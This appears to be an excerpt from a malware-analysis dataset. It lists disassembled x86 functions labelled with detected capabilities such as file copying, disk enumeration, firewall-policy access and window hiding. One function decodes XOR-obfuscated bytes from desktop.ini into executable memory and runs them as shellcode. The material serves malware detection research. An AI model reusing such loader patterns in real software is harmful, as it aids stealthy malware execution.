joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f6e98
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
call fcn.00403fa4
mov eax, dword [ebp + 8]
call fcn.00403fa4
xor eax, eax
push ebp
push 0x4f6fa7
push dword fs:[eax]
mov dword fs:[eax], esp
or ebx, 0xffffffff
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
je 0x4f6f7c
lea eax, [ebp - 0x10]
call fcn.00403b74
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x4f6f29
inc ebx
xor esi, esi
push dword [ebp - 0x10]
push dword [ebp - 0xc]
lea ecx, [ebp - 0x34]
mov edx, esi
mov eax, dword [ebp - 8]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x34]
push 0x4f6fc4
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403eb0
inc esi
dec ebx
jne 0x4f6efd
lea eax, [ebp - 0x10]
mov edx, 0x4f6fc4
call fcn.00403df8
lea eax, [ebp + 8]
mov edx, 0x4f6fc4
call fcn.00403df8
mov eax, dword [ebp - 4]
call fcn.00439b04
mov dword [ebp - 0x2e], eax
mov dword [ebp - 0x2a], 2
mov eax, dword [ebp - 0x10]
call fcn.00403fb4
mov dword [ebp - 0x26], eax
mov eax, dword [ebp + 8]
call fcn.00403fb4
mov dword [ebp - 0x22], eax
mov word [ebp - 0x1e], 0x240
lea eax, [ebp - 0x2e]
push eax
call sub.shell32.dll_SHFileOperationA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f6fae
lea eax, [ebp - 0x34]
call fcn.00403b74
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00403b98
lea eax, [ebp + 8]
call fcn.00403b74
ret
Function at 0x4f7660
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4f7783
push dword fs:[eax]
mov dword fs:[eax], esp
or ebx, 0xffffffff
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
je 0x4f7760
lea eax, [ebp - 0xc]
call fcn.00403b74
lea eax, [ebp - 0x10]
call fcn.00403b74
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x4f770b
inc esi
xor ebx, ebx
push dword [ebp - 0xc]
lea ecx, [ebp - 0x34]
mov edx, ebx
mov eax, dword [ebp - 4]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x34]
push 0x4f779c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403eb0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x34]
mov edx, ebx
mov eax, dword [ebp - 8]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x34]
push 0x4f779c
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403eb0
inc ebx
dec esi
jne 0x4f76bd
lea eax, [ebp - 0xc]
mov edx, 0x4f779c
call fcn.00403df8
lea eax, [ebp - 0x10]
mov edx, 0x4f779c
call fcn.00403df8
mov eax, dword [0x513460]
call fcn.00439b04
mov dword [ebp - 0x2e], eax
mov dword [ebp - 0x2a], 2
mov eax, dword [ebp - 0xc]
call fcn.00403fb4
mov dword [ebp - 0x26], eax
mov eax, dword [ebp - 0x10]
call fcn.00403fb4
mov dword [ebp - 0x22], eax
mov word [ebp - 0x1e], 0x251
lea eax, [ebp - 0x2e]
push eax
call sub.shell32.dll_SHFileOperationA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f778a
lea eax, [ebp - 0x34]
call fcn.00403b74
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00403b98
ret

Function at 0x4fb4cc
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x4fb545
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5134a4]
mov edx, dword [eax]
call dword [edx + 0x40]
call sub.kernel32.dll_GetLogicalDrives
mov esi, eax
xor ebx, ebx
mov eax, ebx
cmp al, 0x1f
ja 0x4fb500
and eax, 0x7f
bt esi, eax
jae 0x4fb529
lea eax, [ebp - 4]
mov edx, ebx
add dl, 0x41
call fcn.00403d18
lea eax, [ebp - 4]
mov edx, 0x4fb55c
call fcn.00403df8
mov edx, dword [ebp - 4]
mov eax, dword [0x5134a4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
inc ebx
cmp bl, 0x1a
jne 0x4fb4f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4fb54c
lea eax, [ebp - 4]
call fcn.00403b74
ret
Function at 0x4fba9c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
xor eax, eax
push ebp
push 0x4fbb6b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00403b74
call fcn.004fb4cc
mov eax, dword [0x5134a4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jl 0x4fbb50
mov eax, dword [0x5134a4]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x4fbb50
inc esi
xor ebx, ebx
lea ecx, [ebp - 0x10]
mov edx, ebx
mov eax, dword [0x5134a4]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.00408f68
mov eax, dword [ebp - 0xc]
mov edx, 0x4fbb84
call fcn.00403f00
je 0x4fbb4c
mov eax, dword [ebp - 0xc]
mov edx, 0x4fbb90
call fcn.00403f00
je 0x4fbb4c
mov eax, dword [ebp - 0xc]
call fcn.00403fb4
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 3
jne 0x4fbb4c
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00403c0c
mov eax, dword [ebp - 4]
mov dword [eax], ebx
jmp 0x4fbb50
inc ebx
dec esi
jne 0x4fbaef
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4fbb72
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00403b98
ret

Function at 0x4fbc44
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fa4
xor eax, eax
push ebp
push 0x4fbc9f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00403fb4
push eax
call sub.kernel32.dll_GetDiskFreeSpaceA
mov ebx, dword [ebp - 8]
imul ebx, dword [ebp - 0xc]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4fbca6
lea eax, [ebp - 4]
call fcn.00403b74
ret
Function at 0x4ff0ac
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403fa4
xor eax, eax
push ebp
push 0x4ff1b1
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.004fc024
test al, al
je 0x4ff12a
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040999c
mov eax, dword [ebp - 8]
call fcn.00403fb4
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
jne 0x4ff12a
cmp dword [ebp - 4], 0
je 0x4ff193
mov eax, dword [ebp - 4]
call fcn.004096d4
test al, al
je 0x4ff193
mov edx, dword [ebp - 4]
mov eax, dword [esi + 0x644]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov bl, 1
jmp 0x4ff193
mov eax, dword [ebp - 4]
call fcn.004f5178
test al, al
je 0x4ff193
cmp dword [ebp - 4], 0
je 0x4ff193
mov eax, dword [ebp - 4]
call fcn.004096d4
test al, al
je 0x4ff193
mov eax, dword [ebp - 4]
call fcn.004f5350
test al, al
jne 0x4ff171
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0048e77c
test al, al
jne 0x4ff171
mov eax, dword [ebp - 4]
call fcn.004f5268
test al, al
je 0x4ff183
mov edx, dword [ebp - 4]
mov eax, dword [esi + 0x644]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov bl, 1
jmp 0x4ff193
mov edx, dword [esi + 0x644]
mov eax, dword [ebp - 4]
call fcn.004f53b4
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ff1b8
lea eax, [ebp - 8]
call fcn.00403b74
lea eax, [ebp - 4]
call fcn.00403b74
ret

Function at 0x4ff75c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x104], edx
mov dword [ebp - 0x108], edx
mov dword [ebp - 0x10c], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4ff875
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x100]
push eax
push 0xff
call sub.kernel32.dll_GetLogicalDriveStringsA
mov esi, eax
test esi, esi
je 0x4ff857
xor ebx, ebx
lea eax, [ebp + ebx - 0x100]
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
jne 0x4ff84c
lea edx, [ebp - 0x108]
mov eax, dword [edi + 0x2e0]
call fcn.0047897c
mov eax, dword [ebp - 0x108]
lea edx, [ebp - 0x104]
call fcn.00408f68
mov eax, dword [ebp - 0x104]
push eax
lea edx, [ebp - 0x10c]
lea eax, [ebp + ebx - 0x100]
call fcn.0040a238
mov eax, dword [ebp - 0x10c]
lea edx, [ebp - 0x108]
call fcn.00408f68
mov edx, dword [ebp - 0x108]
pop eax
call fcn.00403f00
je 0x4ff857
lea edx, [ebp - 0x104]
lea eax, [ebp + ebx - 0x100]
call fcn.0040a238
mov edx, dword [ebp - 0x104]
mov eax, dword [edi + 0x2e0]
call fcn.00478848
mov eax, dword [edi + 0x2e0]
mov edx, dword [eax]
call dword [edx + 0xb4]
jmp 0x4ff857
add ebx, 4
cmp esi, ebx
ja 0x4ff7a9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ff87c
lea eax, [ebp - 0x10c]
mov edx, 3
call fcn.00403b98
ret
Function at 0x4ffc18
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4ffe05
push dword fs:[eax]
mov dword fs:[eax], esp
mov edi, esi
mov eax, edi
call fcn.0046e470
test eax, eax
je 0x4ffdea
mov eax, dword [0x513468]
mov edx, dword [eax]
call dword [edx + 0x40]
mov eax, edi
call fcn.00478d20
mov edx, eax
mov eax, dword [0x513468]
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [0x513468]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
je 0x4ffdea
lea ecx, [ebp - 0xc]
xor edx, edx
mov eax, dword [0x513468]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.00409a68
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00408f68
mov eax, dword [ebp - 4]
mov edx, 0x4ffe1c
call fcn.00403f00
je 0x4ffd0e
mov eax, dword [ebp - 4]
mov edx, 0x4ffe2c
call fcn.00403f00
je 0x4ffd0e
mov eax, dword [ebp - 4]
mov edx, 0x4ffe3c
call fcn.00403f00
je 0x4ffd0e
mov eax, dword [ebp - 4]
mov edx, 0x4ffe4c
call fcn.00403f00
je 0x4ffd0e
mov eax, dword [ebp - 4]
mov edx, 0x4ffe5c
call fcn.00403f00
jne 0x4ffd4b
lea edx, [ebp - 0xc]
mov eax, esi
call fcn.0047897c
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.0040999c
mov eax, dword [ebp - 8]
call fcn.00403fb4
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
jne 0x4ffd4b
mov eax, dword [ebx + 0x644]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4ffd4b
mov eax, dword [ebx + 0x3f8]
test byte [eax + 0x94], 8
je 0x4ffd35
mov edx, ebx
mov eax, ebx
call fcn.004fd6b8
xor eax, eax
mov dword [ebx + 0x648], eax
xor edx, edx
mov eax, ebx
call fcn.004fd6e8
jmp 0x4ffdea
mov eax, dword [ebp - 4]
call fcn.004f50f0
test al, al
je 0x4ffdde
mov eax, dword [ebx + 0x644]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4ffdc7
lea edx, [ebp - 8]
mov eax, esi
call fcn.0047897c
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
xor edx, edx
mov eax, dword [0x513468]
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0xc]
pop eax
call fcn.00403df8
mov eax, dword [ebp - 8]
call fcn.004f5268
test al, al
je 0x4ffdc7
mov eax, dword [ebx + 0x3f8]
test byte [eax + 0x94], 8
je 0x4ffdb4
mov edx, ebx
mov eax, ebx
call fcn.004fd6b8
xor eax, eax
mov dword [ebx + 0x648], eax
xor edx, edx
mov eax, ebx
call fcn.004fd6e8
jmp 0x4ffdea
mov edx, ebx
mov eax, ebx
call fcn.004fd6b8
mov edx, 0x4ffe6c
mov eax, esi
call fcn.00479e30
jmp 0x4ffdea
mov edx, 0x4ffe6c
mov eax, esi
call fcn.00479e30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ffe0c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403b98
ret
Function at 0x500d94
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe20
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fa4
xor eax, eax
push ebp
push 0x500ff5
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x500fc7
mov eax, dword [ebp - 4]
call fcn.004096d4
test al, al
je 0x500fc7
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.0040643a
lea eax, [ebp - 0x1d4]
call fcn.0040671f
call fcn.00402804
xor eax, eax
push ebp
push 0x500fc0
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x500f8a
lea edx, [ebp - 8]
lea eax, [ebp - 0x1d4]
call fcn.004041ac
lea eax, [ebp - 0x1d4]
call fcn.004066bc
call fcn.00402804
cmp dword [ebp - 8], 0
je 0x500f8a
mov eax, dword [ebp - 8]
cmp byte [eax + 1], 0x3a
je 0x500e6a
lea edx, [ebp - 0x1d8]
mov eax, dword [ebp - 4]
call fcn.0040990c
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 8]
mov ecx, dword [ebp - 8]
call fcn.00403e3c
mov eax, dword [ebp - 8]
call fcn.004f6128
test al, al
je 0x500f8a
mov eax, dword [0x513460]
mov esi, dword [eax + 0x534]
mov eax, dword [ebp - 8]
call fcn.00500ccc
mov ebx, eax
mov edx, dword [ebp - 8]
mov eax, dword [0x513460]
call fcn.004fc024
test al, al
je 0x500ec8
lea edx, [ebp - 0x1d8]
mov eax, dword [ebp - 8]
call fcn.0040999c
mov eax, dword [ebp - 0x1d8]
call fcn.00403fb4
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
je 0x500f8a
cmp ebx, 0xffffffff
je 0x500f8a
lea edx, [ebp - 0x1d8]
mov eax, dword [ebp - 8]
call fcn.00409a30
mov edx, dword [ebp - 0x1d8]
mov eax, dword [0x513460]
call fcn.00500bec
test al, al
jne 0x500f8a
lea edx, [ebp - 0x1dc]
mov eax, dword [ebp - 8]
call fcn.00409a68
mov eax, dword [ebp - 0x1dc]
lea edx, [ebp - 0x1d8]
call fcn.00408f68
mov eax, dword [ebp - 0x1d8]
mov edx, 0x50100c
call fcn.00403f00
je 0x500f8a
mov eax, dword [esi + 0x208]
call fcn.0046b820
mov esi, eax
push dword [ebp - 8]
push 0x50101c
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1dc]
call fcn.00409330
push dword [ebp - 0x1dc]
push 0x501028
lea edx, [ebp - 0x1e0]
mov eax, dword [ebp - 8]
call fcn.005005d4
push dword [ebp - 0x1e0]
lea eax, [ebp - 0x1d8]
mov edx, 5
call fcn.00403eb0
mov edx, dword [ebp - 0x1d8]
mov eax, esi
call fcn.0046b344
lea eax, [ebp - 0x1d4]
call fcn.0040657c
call fcn.00402804
test al, al
je 0x500e1a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x500fc7
lea eax, [ebp - 0x1d4]
call fcn.00406540
call fcn.00402804
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x500ffc
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00403b98
lea eax, [ebp - 8]
call fcn.00403b74
lea eax, [ebp - 4]
call fcn.00403b74
ret
Function at 0x503714
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x5037ac
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
lea edx, [ebp - 4]
mov eax, dword [esi + 0x2e0]
call fcn.0047897c
mov eax, dword [ebp - 4]
call fcn.004096e4
inc eax
je 0x503791
lea edx, [ebp - 8]
mov eax, dword [esi + 0x2e0]
call fcn.0047897c
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.0040999c
mov eax, dword [ebp - 4]
call fcn.00403fb4
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
jne 0x50378f
push 0x30
push 0x5037bc
push 0x5037c8
mov eax, esi
call fcn.00439b04
push eax
call sub.user32.dll_MessageBoxA_1
jmp 0x503791
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5037b3
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403b98
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x424c60
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00424cdf
jae 0x424c6c
xor ecx, ecx
call fcn.00424cdf
jae 0x424c96
xor eax, eax
call fcn.00424cdf
jae 0x424ca7
mov al, 0x10
call fcn.00424cdf
adc al, al
jae 0x424c88
jne 0x424cd4
stosb byte es:[edi], al
jmp 0x424c6d
call fcn.00424ceb
dec ecx
loop 0x424cb3
mov eax, ebp
call fcn.00424ce9
jmp 0x424cd5
lodsb al, byte [esi]
shr eax, 1
je 0x424cfb
adc ecx, 2
mov ebp, eax
jmp 0x424cd5
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00424ce9
cmp eax, 0x7d00
jae 0x424cd3
cmp eax, 0x500
jae 0x424cd4
cmp eax, 0x7f
ja 0x424cd5
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x424c6d
pop ebp
ret 8
Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941

Function at 0x401080
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x13c
mov eax, dword [0x404008]
xor eax, esp
mov dword [esp + 0x138], eax
push esi
lea eax, [esp + 8]
mov dword [esp + 4], 0
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionOpenWith
xorps xmm0, xmm0
mov dword [esp + 0x18], 0
push reloc.OLEAUT32.dll_SysReAllocString
movaps xmmword [esp + 0x34], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401191
mov esi, dword [esp + 8]
test esi, esi
je 0x401191
push pe_nt_image_headers32
push eax
lea eax, [esp + 0x40]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x1c], pe_nt_image_headers32
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0x403224
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [esp + 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x401191
lea ecx, [esp + 0x38]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401130
sub ecx, edx
sar ecx, 1
cmp ecx, 0x26
jne 0x401191
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
js 0x401191
lea eax, [esp + 4]
mov dword [esp + 0xc], 0x6a283fe2
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x4599ecfa
push eax
push 4
push 0
lea eax, [esp + 0x30]
mov dword [esp + 0x24], 0x9e8c491
push eax
mov dword [esp + 0x2c], 0x267b1357
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 4]
pop esi
xor ecx, esp
call fcn.004012f0
mov esp, ebp
pop ebp
ret

Function at 0x4011b0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 2
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
call fcn.00401080
mov ebx, eax
push 0
push ebx
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
push str..pdf
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
test esi, esi
je 0x401232
mov edi, dword [ebx]
push 4
push esi
push dword [ebp - 4]
mov edi, dword [edi + 0xc]
mov ecx, edi
push ebx
call dword [0x403110]
call edi
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebx]
push ebx
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x403110]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x8007000e
call fcn.00401030
int3
Function at 0x401110
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
push esi
push 2
push 0
mov esi, eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jge 0x401128
cmp eax, 0x80010106
jne 0x4011a6
push edi
push esi
push 0x6d312c
push 1
push 0
push 0x6d311c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
test edi, edi
jge 0x401157
push edi
push str.CoCreateInstance_NetFwMgr_failed:_0x_08lx_n
call fcn.005bac70
add esp, 8
mov eax, edi
pop edi
pop esi
ret
mov eax, dword [esi]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push ebx
lea edi, [esi + 4]
push edi
push eax
call edx
mov ebx, eax
test ebx, ebx
jge 0x401180
push ebx
push str.get_LocalPolicy_failed:_0x_08lx_n
call fcn.005bac70
add esp, 8
mov eax, ebx
pop ebx
pop edi
pop esi
ret
mov eax, dword [edi]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
add esi, 8
push esi
push eax
call edx
mov esi, eax
test esi, esi
jge 0x4011a4
push esi
push str.get_CurrentProfile_failed:_0x_08lx_n
call fcn.005bac70
mov eax, esi
add esp, 8
pop ebx
pop edi
pop esi
ret

Function at 0x4014a0
Capabilities:
Access firewall policy via inetfwpolicy2

Disassembly:
push esi
push 2
push 0
mov esi, eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jge 0x4014b8
cmp eax, 0x80010106
jne 0x40150c
push edi
push esi
push 0x6d316c
push 1
push 0
push 0x6d315c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
test edi, edi
jge 0x4014e7
push edi
push str.CoCreateInstance_NetFwPolicy2_failed:_0x_08lx_n
call fcn.005bac70
add esp, 8
mov eax, edi
pop edi
pop esi
ret
mov eax, dword [esi]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x48]
add esi, 4
push esi
push eax
call edx
mov esi, eax
test esi, esi
jge 0x40150b
push esi
push str.get_Rules_failed:_0x_08lx_n
call fcn.005bac70
mov eax, esi
add esp, 8
pop edi
pop esi
ret